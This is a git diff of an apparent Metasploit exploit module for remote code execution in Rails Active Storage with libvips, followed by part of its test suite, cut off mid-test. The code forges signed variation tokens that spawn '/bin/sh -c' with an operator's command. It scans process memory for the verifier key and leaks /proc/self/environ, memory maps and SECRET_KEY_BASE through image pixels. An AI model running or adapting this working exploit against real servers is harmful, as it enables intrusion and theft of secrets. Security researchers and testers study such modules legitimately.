= datastore['MESSAGE_SERIALIZER'] + return configured.to_sym unless configured == 'auto' + + serializer = detect_message_serializer(decode_signed_message(encoded)) + raise TriggerError, 'Could not determine the Active Support message serializer from the signed blob ID; set MESSAGE_SERIALIZER manually' unless serializer + + if serializer == :message_pack + print_status('Detected the Active Support MessagePack signed-message format; using its JSON-compatible fallback') + return :json + end + + print_status("Detected the Active Support #{serializer} message serializer") + serializer + end + + def decode_signed_message(encoded) + Base64.strict_decode64(encoded) + rescue ArgumentError + begin + Base64.urlsafe_decode64(encoded) + rescue ArgumentError => e + raise FlowError, "Active Storage returned invalid signed-message Base64: #{e.message}" + end + end + + def detect_message_serializer(serialized) + return :marshal if serialized.start_with?("\x04\x08".b) + return :message_pack if serialized.start_with?("\xcc\x80".b) + return unless serialized.start_with?('{') + + document = JSON.parse(serialized) + metadata = document['_rails'] + return :json unless metadata.is_a?(Hash) && metadata.key?('message') + + inner = Base64.strict_decode64(metadata['message'].to_s) + inner.start_with?("\x04\x08".b) ? :marshal : :json + rescue JSON::ParserError, ArgumentError + nil + end + + def command_transformations(command) + { + 'send' => ['spawn', '/bin/sh', '-c', command] + } + end + + def variation_payload(transformations, serializer) + message = if serializer == :marshal + Marshal.dump(transformations) + else + transformations.to_json + end { _rails: { message: Base64.strict_encode64(message), @@ -1021,293 +1041,420 @@ def json_variation_payload(command) }.to_json end - def forged_variation(verifier_key, serialized) - encoded = Base64.urlsafe_encode64(serialized, padding: false) - "#{encoded}--#{verifier_signature(verifier_key, encoded)}" - end - - def derive_verifier_key(secret_key_base, digest) - OpenSSL::PKCS5.pbkdf2_hmac( - secret_key_base, - 'ActiveStorage', - 1000, - 64, - OpenSSL::Digest.new(digest.upcase) - ) + def forged_variation(verifier_key, serialized, verifier_digest) + encoded = Base64.strict_encode64(serialized) + "#{encoded}--#{verifier_signature(verifier_key, encoded, verifier_digest)}" end - def verifier_signature(verifier_key, encoded) - OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), verifier_key, encoded) + def verifier_signature(verifier_key, encoded, verifier_digest) + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(verifier_digest.upcase), verifier_key, encoded) end - def signed_variation_parts(path) - parsed = URI.parse(path) - parts = parsed.path.split('/') - route_index = representation_route_index(parts) - variation = URI.decode_www_form_component(parts[route_index + 2]) - encoded, signature = variation.split('--', 2) - unless encoded.present? && signature&.match?(/\A[0-9a-f]{40}\z/i) - raise FlowError, 'Representation path did not contain a valid signed variation token' - end + def csrf_token + return datastore['CSRF_TOKEN'] if datastore['CSRF_TOKEN'].present? - [encoded, signature] - rescue URI::InvalidURIError => e - raise FlowError, "Application returned an invalid representation path: #{e.message}" + landing_page[:csrf] end - def recover_verifier_key_from_memory(path) - max_bytes = datastore['MemoryScanMaxBytes'] - stride = datastore['MemoryScanStride'] + def landing_page + return @landing_page if @landing_page - encoded, signature = signed_variation_parts(path) - regions, metadata_path = memory_regions - raise TriggerError, 'Could not find any writable private heap or anonymous memory mappings in procfs metadata' if regions.empty? + res = send_request_cgi(target_request('GET', app_uri(datastore['LANDINGURI']))) + raise FlowError, 'No response from the landing page' unless res + raise FlowError, "Landing page returned HTTP #{res.code}" unless res.code == 200 - print_status("Scanning up to #{max_bytes} bytes across #{regions.length} writable private memory mappings ordered from #{metadata_path}") + doc = res.get_html_document + csrf_meta = doc.at_css('meta[name="csrf-token"]')&.[]('content') + csrf_form = doc.at_css('input[name="authenticity_token"]')&.[]('value') + csrf = csrf_meta.presence || csrf_form + raise FlowError, 'Landing page did not contain a CSRF token' if csrf.blank? && datastore['CSRF_TOKEN'].blank? - expected_signature = [signature].pack('H*') - scanned_bytes = 0 - next_progress = MEMORY_SCAN_PROGRESS_BYTES + @landing_page = { + csrf: csrf, + csrf_meta: csrf_meta, + csrf_form: csrf_form, + representation_paths: representation_paths(doc) + } + end - regions.each do |region| - carry = String.new.b - memory_windows(region, max_bytes - scanned_bytes).each do |window| - page = try_memory_page_read(window[:artifact], window[:dimension], window[:address]) - unless page - carry = String.new.b - next - end + def representation_paths(doc) + paths = doc.css('img[src]').map { |node| node['src'] } + srcset_paths = doc.css('img[srcset]').flat_map do |node| + node['srcset'].to_s.split(',').map { |entry| entry.strip.split(/\s+/, 2).first } + end + (paths + srcset_paths).compact.select { |path| representation_path?(path) }.uniq + end - scan_bytes = carry + page - scan_address = window[:address] - carry.bytesize - verifier_key, verifier_address = find_verifier_key(scan_bytes, scan_address, encoded, expected_signature, stride) - if verifier_key - print_good("Matched the Active Storage verifier key at 0x#{verifier_address.to_s(16)} in #{region[:name]}") - return verifier_key - end + def representation_path?(path) + representation_route_index(URI.parse(path).path.split('/')) + true + rescue FlowError, URI::InvalidURIError + false + end - carry = page.byteslice(-VERIFIER_KEY_BYTES + 1, VERIFIER_KEY_BYTES - 1).to_s.b - scanned_bytes += page.bytesize - if scanned_bytes >= next_progress - print_status("Scanned #{scanned_bytes} process memory bytes without finding the verifier key") - next_progress += MEMORY_SCAN_PROGRESS_BYTES - end - end + def base_representation_path + return @base_representation_path if @base_representation_path - break if scanned_bytes >= max_bytes + if datastore['REPRESENTATIONURI'].present? + @base_representation_path = select_representation_path([datastore['REPRESENTATIONURI']], 'REPRESENTATIONURI') + print_status('Using the operator-supplied Active Storage representation URL') + return @base_representation_path end - raise TriggerError, "Could not recover the Active Storage verifier key within #{scanned_bytes} scanned process memory bytes" - end - - def memory_regions - smaps = try_square_file_read_chunks( - 'proc_smaps.mat', - 'smaps.bmp', - chunk_bytes: MEMORY_METADATA_CHUNK_BYTES, - max_bytes: MEMORY_METADATA_MAX_BYTES - ) - if smaps - smaps_bytes = trim_external_bytes(smaps[:pixels]) - regions = parse_smaps_regions(smaps_bytes) - if regions.any? - loot_path = store_loot( - 'rails.process.smaps', - 'text/plain', - rhost, - smaps_bytes, - 'proc_self_smaps.txt', - 'Recovered /proc/self/smaps bytes' - ) - print_status("Recovered /proc/self/smaps and stored loot in: #{loot_path}") - return [regions, '/proc/self/smaps RSS'] - end + landing = landing_page + if landing[:representation_paths].any? + @base_representation_path = select_representation_path(landing[:representation_paths], 'landing page') + print_status('Reusing an Active Storage representation URL found on the landing page') + return @base_representation_path end - maps = file_read('proc_maps.mat', 'maps.bmp') - maps_bytes = trim_external_bytes(restore_square_pixels(maps)) - regions = parse_memory_regions(maps_bytes) - loot_path = store_loot( - 'rails.process.maps', - 'text/plain', - rhost, - maps_bytes, - 'proc_self_maps.txt', - 'Recovered /proc/self/maps bytes' + signed_id = direct_upload( + csrf_token: csrf_token, + filename: 'safe.png', + content_type: 'image/png', + content: safe_png ) - print_status("Recovered /proc/self/maps and stored loot in: #{loot_path}") - [regions, '/proc/self/maps address order'] + @base_representation_path = submit_safe_upload(landing[:csrf_form].presence || csrf_token, signed_id) end - def try_square_file_read_chunks(artifact, filename, chunk_bytes:, max_bytes:) - first = nil - combined = String.new.b - - (0...max_bytes).step(chunk_bytes) do |external_offset| - current = file_read(artifact, filename, external_offset: external_offset) - first ||= current - restored = restore_square_pixels(current) - combined << restored - break if restored.delete("\x00").empty? - end - - return nil unless first + def select_representation_path(paths, source) + index = datastore['REPRESENTATION_INDEX'] + raise FlowError, "#{source} did not contain a representation path" if paths.empty? + raise FlowError, "#{source} did not contain representation index #{index}" unless paths[index] - first.merge(pixels: combined.sub(/\x00+\z/n, '')) - rescue FlowError, TriggerError => e - vprint_status("Skipping #{artifact}: #{e.message}") - nil + parsed = URI.parse(paths[index]) + representation_route_index(parsed.path.split('/')) + paths[index] + rescue URI::InvalidURIError => e + raise FlowError, "#{source} returned an invalid representation path: #{e.message}" end - def parse_smaps_regions(smaps_bytes) - regions = [] - current = nil + def direct_upload(csrf_token:, filename:, content_type:, content:) + checksum = Base64.strict_encode64(Digest::MD5.digest(content)) + body = { + blob: { + filename: filename, + byte_size: content.bytesize, + checksum: checksum, + content_type: content_type + } + }.to_json - smaps_bytes.each_line do |line| - if line.match?(/\A[0-9a-f]+-[0-9a-f]+\s/i) - current = nil - match = line.match(/\A([0-9a-f]+)-([0-9a-f]+)\s+rw-p\s+\S+\s+\S+\s+\d+\s*(.*)\z/i) - next unless match + res = send_request_cgi( + target_request( + 'POST', + app_uri(datastore['DIRECTUPLOADURI']), + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRF-Token' => csrf_token + }, + 'data' => body + ) + ) + raise FlowError, 'No response while creating the direct upload' unless res + raise FlowError, "Direct upload create returned HTTP #{res.code}" unless res.code == 200 - name = match[3].to_s.strip - next unless name.blank? || name == '[heap]' + json = res.get_json_document + signed_id = json['signed_id'] + direct = json['direct_upload'] + raise FlowError, 'Direct upload response did not include a signed_id' if signed_id.blank? + raise FlowError, 'Direct upload response did not include upload metadata' unless direct.is_a?(Hash) - current = { - start: match[1].to_i(16), - finish: match[2].to_i(16), - name: name.blank? ? 'anonymous memory' : name, - rss_bytes: 0 - } - regions << current - elsif current && (match = line.match(/\ARss:\s+(\d+)\s+kB\s*\z/i)) - current[:rss_bytes] = match[1].to_i * 1024 - end + upload_url = direct['url'] + upload_headers = direct['headers'] + raise FlowError, 'Direct upload response did not include an upload URL' if upload_url.blank? + raise FlowError, 'Direct upload response did not include upload headers' unless upload_headers.is_a?(Hash) + + upload_res = send_request_to_url(upload_url, method: 'PUT', data: content, headers: upload_headers) + raise FlowError, 'No response while uploading the blob content' unless upload_res + unless [200, 201, 204].include?(upload_res.code) + raise FlowError, "Direct object upload returned HTTP #{upload_res.code}" end - regions.reject { |region| region[:rss_bytes].zero? } - .sort_by { |region| [-region[:rss_bytes], region[:name] == '[heap]' ? 0 : 1, region[:start]] } + signed_id end - def parse_memory_regions(maps_bytes) - regions = maps_bytes.split("\n").filter_map do |line| - match = line.match(/\A([0-9a-f]+)-([0-9a-f]+)\s+rw-p\s+\S+\s+\S+\s+\d+\s*(.*)\z/i) - next unless match + def submit_safe_upload(csrf_token, signed_id) + current_uri = URI.parse(full_uri(app_uri(datastore['SUBMITURI']))) + res = send_request_cgi( + target_request( + 'POST', + app_uri(datastore['SUBMITURI']), + 'vars_post' => { + 'authenticity_token' => csrf_token, + datastore['ATTACHMENT_FIELD'] => signed_id + }, + 'headers' => { 'Accept' => 'text/html' } + ) + ) + raise FlowError, 'No response while submitting the safe upload' unless res - name = match[3].to_s.strip - next unless name.blank? || name == '[heap]' + redirect_count = 0 + while res.redirect? + unless [301, 302, 303].include?(res.code) && res.redirection.present? + raise FlowError, "Safe upload submit returned unsupported HTTP #{res.code} redirect" + end + raise FlowError, 'Safe upload response exceeded the redirect limit' if redirect_count == REPRESENTATION_REDIRECT_LIMIT + + current_uri = URI.join(current_uri.to_s, res.redirection.to_s) + validate_http_url!(current_uri, 'Safe upload redirect') + res = send_request_cgi( + target_request( + 'GET', + request_uri(current_uri.to_s), + 'headers' => { 'Accept' => 'text/html' } + ) + ) + raise FlowError, 'No response while following the safe upload redirect' unless res - { - start: match[1].to_i(16), - finish: match[2].to_i(16), - name: name.blank? ? 'anonymous memory' : name - } + redirect_count += 1 end + raise FlowError, "Safe upload response returned HTTP #{res.code}" unless res.code == 200 - regions.sort_by { |region| [region[:name] == '[heap]' ? 0 : 1, region[:start]] } + select_representation_path(representation_paths(res.get_html_document), 'safe upload response') + rescue URI::InvalidURIError => e + raise FlowError, "Safe upload redirect was invalid: #{e.message}" end - def memory_windows(region, byte_budget) - windows = [] - cursor = region[:start] - finish = region[:finish] - remaining_budget = byte_budget + def safe_png + signature = "\x89PNG\r\n\x1a\n".b + ihdr = [8, 8, 8, 0, 0, 0, 0].pack('NNC5') + raw = (("\x00" + ("\x00" * 8)) * 8).b + signature + png_chunk('IHDR', ihdr) + png_chunk('IDAT', Zlib::Deflate.deflate(raw)) + png_chunk('IEND', ''.b) + end - while cursor < finish && remaining_budget >= 4096 - remaining_region = finish - cursor - artifact, dimension = MEMORY_SCAN_TEMPLATES.find do |_name, candidate_dimension| - candidate_bytes = candidate_dimension * candidate_dimension - candidate_bytes <= remaining_region && candidate_bytes <= remaining_budget - end - break unless artifact + def png_chunk(type, data) + [data.bytesize].pack('N') + type + data + [Zlib.crc32(type + data)].pack('N') + end + + def target_request(method, uri, options = {}) + cookie = [datastore['COOKIE'], cookie_jar.cookies.join('; ')].compact.reject(&:blank?).join('; ') + request = { + 'method' => method, + 'uri' => uri, + 'keep_cookies' => true + }.merge(options) + request['cookie'] = cookie if cookie.present? + request + end - window_bytes = dimension * dimension - windows << { artifact: artifact, dimension: dimension, address: cursor } - cursor += window_bytes - remaining_budget -= window_bytes + def send_request_to_url(url, method:, data:, headers:) + parsed = URI.parse(url) + unless %w[http https].include?(parsed.scheme) && parsed.host + raise FlowError, 'Direct upload URL was not an HTTP(S) URL' + end + raise FlowError, 'Direct upload URL contained credentials' if parsed.user || parsed.password + + uri = parsed.path.presence || '/' + uri += "?#{parsed.query}" if parsed.query + request_headers = headers.merge('Connection' => 'close') + + if same_target_url?(parsed) + return send_request_cgi( + target_request( + method, + uri, + 'data' => data, + 'headers' => request_headers + ) + ) end - windows + send_sanitized_request( + 'method' => method, + 'uri' => uri, + 'data' => data, + 'headers' => request_headers, + 'cookie' => '', + 'rhost' => parsed.host, + 'rport' => parsed.port, + 'SSL' => parsed.scheme == 'https', + 'vhost' => parsed.host + ) + rescue URI::InvalidURIError => e + raise FlowError, "Direct upload URL was invalid: #{e.message}" end - def try_memory_page_read(artifact, dimension, address) - page = file_read(artifact, 'memory.bmp', external_offset: address) - restored = restore_square_pixels(page) - expected_bytes = dimension * dimension - raise TriggerError, "#{artifact} returned #{restored.bytesize} bytes instead of #{expected_bytes}" unless restored.bytesize == expected_bytes + def request_representation(path) + current = URI.parse(path) + if current.host + request_uri(current.to_s) + else + current = URI.parse(full_uri(request_uri(current.to_s))) + end + external = !same_target_url?(current) + + (REPRESENTATION_REDIRECT_LIMIT + 1).times do |redirect_index| + validate_http_url!(current, 'Representation URL') + uri = current.path.presence || '/' + uri += "?#{current.query}" if current.query + res = if !external && same_target_url?(current) + send_request_cgi(target_request('GET', uri), datastore['HttpClientTimeout'] || 20) + else + send_sanitized_request( + 'method' => 'GET', + 'uri' => uri, + 'headers' => { 'Accept' => 'image/png', 'Connection' => 'close' }, + 'rhost' => current.host, + 'rport' => current.port, + 'SSL' => current.scheme == 'https', + 'vhost' => current.host + ) + end + return res unless res&.redirect? && res.redirection + raise FlowError, 'Representation response exceeded the redirect limit' if redirect_index == REPRESENTATION_REDIRECT_LIMIT + + current = URI.join(current.to_s, res.redirection.to_s) + external ||= !same_target_url?(current) + end + rescue URI::InvalidURIError => e + raise FlowError, "Representation redirect was invalid: #{e.message}" + end - restored - rescue FlowError, TriggerError => e - vprint_status("Skipping memory read at 0x#{address.to_s(16)} with #{artifact}: #{e.message}") + def send_sanitized_request(options) + logger = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: self) + client = Rex::Proto::Http::Client.new( + options['rhost'], + options['rport'], + { 'Msf' => framework, 'MsfExploit' => self }, + options['SSL'], + ssl_version, + proxies, + '', + '', + kerberos_authenticator: nil, + subscriber: logger, + sslkeylogfile: sslkeylogfile + ) + client.set_config( + 'vhost' => options['vhost'], + 'ssl_server_name_indication' => options['vhost'], + 'agent' => datastore['UserAgent'], + 'raw_headers' => '' + ) + request = client.request_cgi( + options.merge( + 'cookie' => nil, + 'raw_headers' => '', + 'authorization' => nil, + 'username' => '', + 'password' => '', + 'preferred_auth' => 'None', + kerberos_authenticator: false + ) + ) + client._send_recv(request, datastore['HttpClientTimeout'] || 20) + rescue ::EOFError, ::Errno::EPIPE, ::Errno::ETIMEDOUT, ::OpenSSL::SSL::SSLError, ::Timeout::Error, Rex::ConnectionError => e + vprint_error("External request failed: #{e}") nil + ensure + client&.close end - def restore_square_pixels(read) - width = read[:width] - height = read[:height] - raise TriggerError, "Expected a square memory representation, got #{width}x#{height}" unless width == height - - pixels = read[:pixels] - restored = "\x00".b * pixels.bytesize - height.times do |row| - width.times do |column| - restored.setbyte((row * width) + column, pixels.getbyte((column * width) + row)) - end + def validate_http_url!(parsed, label) + unless %w[http https].include?(parsed.scheme) && parsed.host + raise FlowError, "#{label} was not an HTTP(S) URL" end - restored + raise FlowError, "#{label} contained credentials" if parsed.user || parsed.password end - def restore_blocked_pixels(read, chunk_bytes) - width = read[:width] - height = read[:height] - expected_width = chunk_bytes * BLOCKED_BYTE_SIZE - unless width == expected_width && height == BLOCKED_BYTE_SIZE - raise TriggerError, "Expected a #{expected_width}x#{BLOCKED_BYTE_SIZE} blocked representation, got #{width}x#{height}" - end + def same_target_url?(parsed) + target_hosts = [rhost, vhost].compact.reject(&:blank?).map(&:downcase) + target_hosts.include?(parsed.host.downcase) && parsed.port == rport && (parsed.scheme == 'https') == ssl + end - center = BLOCKED_BYTE_SIZE / 2 - pixels = read[:pixels] - restored = String.new.b - chunk_bytes.times do |index| - restored << pixels.getbyte((center * width) + (index * BLOCKED_BYTE_SIZE) + center) - end - restored + def substitute_representation_blob(path, signed_blob_id, filename) + parsed = URI.parse(path) + parts = parsed.path.split('/') + route_index = representation_route_index(parts) + parts[route_index + 1] = URI.encode_www_form_component(signed_blob_id) + parts[-1] = filename + parsed.path = parts.join('/') + parsed.to_s + rescue URI::InvalidURIError => e + raise FlowError, "Application returned an invalid representation path: #{e.message}" end - def find_verifier_key(bytes, base_address, encoded, expected_signature, stride) - offset = (stride - (base_address % stride)) % stride - final_offset = bytes.bytesize - VERIFIER_KEY_BYTES - while offset <= final_offset - candidate = bytes.byteslice(offset, VERIFIER_KEY_BYTES) - if OpenSSL::HMAC.digest(OpenSSL::Digest.new('SHA1'), candidate, encoded) == expected_signature - return [candidate, base_address + offset] - end + def substitute_variation_key(path, variation) + parsed = URI.parse(path) + parts = parsed.path.split('/') + route_index = representation_route_index(parts) + parts[route_index + 2] = URI.encode_www_form_component(variation) + parsed.path = parts.join('/') + parsed.to_s + rescue URI::InvalidURIError => e + raise FlowError, "Application returned an invalid representation path: #{e.message}" + end + + def standard_representation_path(signed_id, variation, filename, route: :redirect) + direct_upload_path = URI.parse(app_uri(datastore['DIRECTUPLOADURI'])).path + suffix = '/direct_uploads' + unless direct_upload_path.end_with?(suffix) + raise ConfigError, 'DIRECTUPLOADURI must end in /direct_uploads when SECRET_KEY_BASE is supplied' + end - offset += stride + prefix = direct_upload_path.delete_suffix(suffix) + unless %i[redirect legacy].include?(route) + raise ConfigError, "Unsupported Active Storage representation route #{route}" end - [nil, nil] + parts = [prefix, 'representations'] + parts << 'redirect' if route == :redirect + parts.concat( + [ + URI.encode_www_form_component(signed_id), + URI.encode_www_form_component(variation), + filename + ] + ) + normalize_uri(*parts) + rescue URI::InvalidURIError => e + raise ConfigError, "DIRECTUPLOADURI was invalid: #{e.message}" end def representation_route_index(parts) representations_index = parts.index('representations') - route_index = representations_index && representations_index + 1 - unless route_index && %w[redirect proxy].include?(parts[route_index]) - raise FlowError, 'Representation path did not contain /representations/redirect/ or /representations/proxy/' - end + raise FlowError, 'Representation path did not contain /representations/' unless representations_index + + route_index = if %w[redirect proxy].include?(parts[representations_index + 1]) + representations_index + 1 + else + representations_index + end raise FlowError, 'Representation path was shorter than expected' if route_index + 3 >= parts.length route_index end - def trigger_variation(path, variation) - forged_path = substitute_variation_key(path, variation) - res = send_request_cgi!('method' => 'GET', 'uri' => request_uri(forged_path), 'keep_cookies' => true) + def request_uri(path_or_url) + parsed = URI.parse(path_or_url) + if parsed.host + target_hosts = [rhost, vhost].compact.reject(&:blank?).map(&:downcase) + expected_ssl = parsed.scheme == 'https' + unless target_hosts.include?(parsed.host.downcase) && parsed.port == rport && expected_ssl == ssl + raise FlowError, "Application returned a representation URL on a different origin: #{parsed}" + end + end + + uri = parsed.path.presence || '/' + uri += "?#{parsed.query}" if parsed.query + uri + rescue URI::InvalidURIError => e + raise FlowError, "Application returned an invalid URL: #{e.message}" + end + + def trigger_variation(path) + res = send_request_cgi(target_request('GET', request_uri(path)), 10) unless res vprint_status('No HTTP response while triggering the forged variation') return end + if res.code.between?(400, 499) + raise TriggerError, "Forged variation was rejected with HTTP #{res.code}" + end + vprint_status("Forged variation returned HTTP #{res.code}") end - end diff --git a/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb b/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb new file mode 100644 index 0000000000000..72370dc64c7cc --- /dev/null +++ b/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb @@ -0,0 +1,717 @@ +# frozen_string_literal: true + +require 'spec_helper' +require 'base64' +require 'zlib' + +# rubocop:disable Metrics/BlockLength +RSpec.describe 'exploit/multi/http/rails_activestorage_vips_rce' do + include_context 'Msf::Simple::Framework#modules loading' + + subject(:exploit) do + load_and_create_module( + module_type: 'exploit', + reference_name: 'multi/http/rails_activestorage_vips_rce' + ) + end + + let(:png_decoder) { exploit.class::PngDecoder } + let(:trigger_error) { exploit.class::TriggerError } + let(:flow_error) { exploit.class::FlowError } + let(:data_error) { exploit.class::DataError } + let(:png_signature) { "\x89PNG\r\n\x1a\n".b } + let(:read_layouts) { exploit.class::READ_LAYOUTS } + let(:read_layout) { read_layouts.find { |layout| layout[:dimension] == 20 } } + + def png_chunk(type, data) + [data.bytesize].pack('N') + type + data + [Zlib.crc32(type + data)].pack('N') + end + + def grayscale_png(width:, height:, scanlines: ''.b, idat: nil, **properties) + properties = { + bit_depth: 8, + color_type: 0, + compression: 0, + filter: 0, + interlace: 0 + }.merge(properties) + ihdr = [width, height, *properties.values_at(:bit_depth, :color_type, :compression, :filter, :interlace)].pack('NNC5') + compressed = idat.nil? ? Zlib::Deflate.deflate(scanlines) : idat + + png_signature + png_chunk('IHDR'.b, ihdr) + png_chunk('IDAT'.b, compressed) + png_chunk('IEND'.b, ''.b) + end + + def http_response(code, location: nil, body: nil) + response = Rex::Proto::Http::Response.new(code) + response.headers['Location'] = location if location + response.body = body if body + response + end + + def striped_pixels(layout, source) + dimension = layout.fetch(:dimension) + columns = (1...(dimension - 1)).step(2).first(layout.fetch(:data_columns)) + pixels = "\x00".b * (dimension * dimension) + + columns.each_with_index do |column, column_index| + dimension.times do |row| + pixels.setbyte((row * dimension) + column, source.getbyte((column_index * dimension) + row)) + end + end + + pixels + end + + describe 'PngDecoder.decode' do + it 'decodes all grayscale PNG scanline filters' do + cases = { + none: { + width: 3, + height: 1, + scanlines: [0, 10, 20, 30].pack('C*'), + expected: [10, 20, 30].pack('C*') + }, + sub: { + width: 3, + height: 1, + scanlines: [1, 10, 10, 10].pack('C*'), + expected: [10, 20, 30].pack('C*') + }, + up: { + width: 3, + height: 2, + scanlines: [0, 10, 20, 30, 2, 5, 5, 5].pack('C*'), + expected: [10, 20, 30, 15, 25, 35].pack('C*') + }, + average: { + width: 3, + height: 2, + scanlines: [0, 10, 20, 30, 3, 10, 8, 8].pack('C*'), + expected: [10, 20, 30, 15, 25, 35].pack('C*') + }, + paeth: { + width: 3, + height: 2, + scanlines: [0, 10, 100, 150, 4, 90, 206, 236].pack('C*'), + expected: [10, 100, 150, 100, 50, 80].pack('C*') + } + } + + cases.each do |name, test_case| + png = grayscale_png( + width: test_case[:width], + height: test_case[:height], + scanlines: test_case[:scanlines] + ) + + expect(png_decoder.decode(png)).to eq( + { + width: test_case[:width], + height: test_case[:height], + channels: 1, + pixels: test_case[:expected] + } + ), "failed to decode the #{name} filter" + end + end + + it 'rejects data without the PNG signature' do + expect { png_decoder.decode('not a png'.b) }.to raise_error(trigger_error, /not a PNG/i) + end + + it 'rejects truncated chunks and IHDR data' do + truncated_chunk = png_signature + [13].pack('N') + 'IHDR'.b + ("\x00".b * 9) + short_ihdr = png_signature + png_chunk('IHDR'.b, "\x00".b * 5) + png_chunk('IEND'.b, ''.b) + + expect { png_decoder.decode(truncated_chunk) }.to raise_error(trigger_error) + expect { png_decoder.decode(short_ihdr) }.to raise_error(trigger_error) + end + + it 'rejects unsupported grayscale image properties' do + unsupported_properties = [ + { bit_depth: 16 }, + { color_type: 2 }, + { compression: 1 }, + { filter: 1 }, + { interlace: 1 } + ] + + unsupported_properties.each do |properties| + png = grayscale_png(width: 1, height: 1, scanlines: "\x00\x41".b, **properties) + expect { png_decoder.decode(png) }.to raise_error(trigger_error) + end + end + + it 'rejects an unsupported scanline filter' do + png = grayscale_png(width: 1, height: 1, scanlines: "\x05\x41".b) + + expect { png_decoder.decode(png) }.to raise_error(trigger_error, /scanline filter/i) + end + + it 'normalizes corrupt and truncated zlib streams to TriggerError' do + corrupt = grayscale_png(width: 1, height: 1, idat: 'not zlib'.b) + truncated = grayscale_png(width: 1, height: 1, idat: "\x78\x9c".b) + + expect { png_decoder.decode(corrupt) }.to raise_error(trigger_error, /decompression/i) + expect { png_decoder.decode(truncated) }.to raise_error(trigger_error, /(decompression|zlib)/i) + end + + it 'rejects truncated inflated scanline data' do + png = grayscale_png(width: 3, height: 1, scanlines: "\x00\x41".b) + + expect { png_decoder.decode(png) }.to raise_error(trigger_error, /scanline data/i) + end + + it 'bounds decompression and rejects trailing compressed data' do + bomb = grayscale_png(width: 1, height: 1, idat: Zlib::Deflate.deflate('A' * 4_194_304)) + trailing = grayscale_png(width: 1, height: 1, idat: Zlib::Deflate.deflate("\x00\x41".b) + 'junk') + + expect { png_decoder.decode(bomb) }.to raise_error(trigger_error, /exceeded/i) + expect { png_decoder.decode(trailing) }.to raise_error(trigger_error, /trailing/i) + end + end + + describe '#restore_ascii_pixels' do + let(:source) do + Array.new(read_layout.fetch(:capacity)) { |index| 32 + (index % 95) }.pack('C*') + end + let(:raw_read) do + { + width: read_layout.fetch(:dimension), + height: read_layout.fetch(:dimension), + pixels: striped_pixels(read_layout, source) + } + end + let(:sharpened_read) do + # Captured from image_processing 1.14.0 and libvips 8.14.1 applying + # ImageProcessing::Vips::Processor::SHARPEN_MASK to raw_read. + pixels = Base64.strict_decode64( + 'ACgAQQBaAHMAjAAuAEcAYAB5AAAAKQBCAFsAdACNADAASQBiAHsAAAArAEQAXQB2AI8AMQBKAGMAfAAAACwARQBeAHcAkAAy' \ + 'AEsAZAB9AAAALQBGAF8AeACRADMATABlAH4AAAAuAEcAYAB5AJIANQBOAGcAgAAAADAASQBiAHsAlAA2AE8AaACBAAAAMQBK' \ + 'AGMAfACVADcAUABpAIIAAAAyAEsAZAB9AJYAOABRAGoAgwAAADMATABlAH4AlwA6AFMAbACFAAAANQBOAGcAgACZADsAVABt' \ + 'AIYAAAA2AE8AaACBAJoAPABVAG4AhwAAADcAUABpAIIAmwA9AFYAbwCIAAAAOABRAGoAgwCcAD8AWABxAIoAAAA6AFMAbACF' \ + 'AKEAQABZAHIAiwAAADsAVABtAIYAJABBAFoAcwCMAAAAPABVAG4AhwApAEIAWwB0AI0AAAA9AFYAbwCIACsARABdAHYAjwAA' \ + 'AD8AWABxAIoALABFAF4AdwCQAAAAQABZAHIAiwAtAEYAXwB4AJEAAA==' + ) + { + width: read_layout.fetch(:dimension), + height: read_layout.fetch(:dimension), + pixels: pixels + } + end + + it 'restores raw striped bytes in source-file order' do + expect(exploit.send(:restore_ascii_pixels, raw_read, read_layout, :raw)).to eq(source) + end + + it 'inverts the Vips sharpen convolution and restores exact bytes' do + expect(exploit.send(:restore_ascii_pixels, sharpened_read, read_layout, :sharpened)).to eq(source) + end + + it 'rejects unexpected image geometry and truncated pixel data' do + wrong_geometry = raw_read.merge(width: read_layout.fetch(:dimension) - 1) + truncated = raw_read.merge(pixels: raw_read.fetch(:pixels).byteslice(0...-1)) + + expect { exploit.send(:restore_ascii_pixels, wrong_geometry, read_layout, :raw) }.to raise_error(trigger_error) + expect { exploit.send(:restore_ascii_pixels, truncated, read_layout, :raw) }.to raise_error(trigger_error) + end + + it 'partially recovers a NUL-delimited ASCII secret after saturated bytes' do + prefix = "JUNK=\xff\xfe\xfd\x00SECRET_KEY_BASE=partial-safe-secret\x00".b + source = prefix.ljust(read_layout.fetch(:capacity), "\x00") + pixels = striped_pixels(read_layout, source) + dimension = read_layout.fetch(:dimension) + + (1...(dimension - 1)).step(2) do |column| + observed = dimension.times.map { |row| pixels.getbyte((row * dimension) + column) } + sharpened = exploit.send(:sharpened_column, observed) + sharpened.each_with_index { |value, row| pixels.setbyte((row * dimension) + column, value) } + end + + read = { width: dimension, height: dimension, pixels: pixels } + recovered = exploit.send(:restore_ascii_pixels_partial, read, read_layout) + + expect(recovered).to include("SECRET_KEY_BASE=partial-safe-secret\x00".b) + expect(recovered).not_to include("JUNK=\xff".b) + end + end + + describe '#read_text_file' do + it 'does not return data beyond max_bytes when the final read exceeds the boundary' do + capacity = read_layout.fetch(:capacity) + context = { layout: read_layout, mode: :raw } + first_read = { offset: 0 } + second_read = { offset: capacity } + + expect(exploit).to receive(:file_read_once).ordered.with(read_layout, '/proc/version', 0, 'read.h5').and_return(first_read) + expect(exploit).to receive(:restore_ascii_pixels).ordered.with(first_read, read_layout, :raw).and_return('A'.b * capacity) + expect(exploit).to receive(:file_read_once).ordered.with(read_layout, '/proc/version', capacity, 'read.h5').and_return(second_read) + expect(exploit).to receive(:restore_ascii_pixels).ordered.with(second_read, read_layout, :raw).and_return('B'.b * capacity) + + recovered = exploit.send(:read_text_file, context, '/proc/version', max_bytes: capacity + 1, filename: 'read.h5') + + expect(recovered).to eq(('A'.b * capacity) + 'B'.b) + expect(recovered.bytesize).to eq(capacity + 1) + end + end + + describe '#patch_hdf5_template' do + let(:external_path) { '/proc/self/environ' } + let(:external_offset) { 4096 } + let(:placeholder) { '/rails_vips_external_path_placeholder_012345678901234567890123456789'.b } + let(:marker_base) { 0x4d53460000000000 } + let(:artifact_path) do + ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-66066', 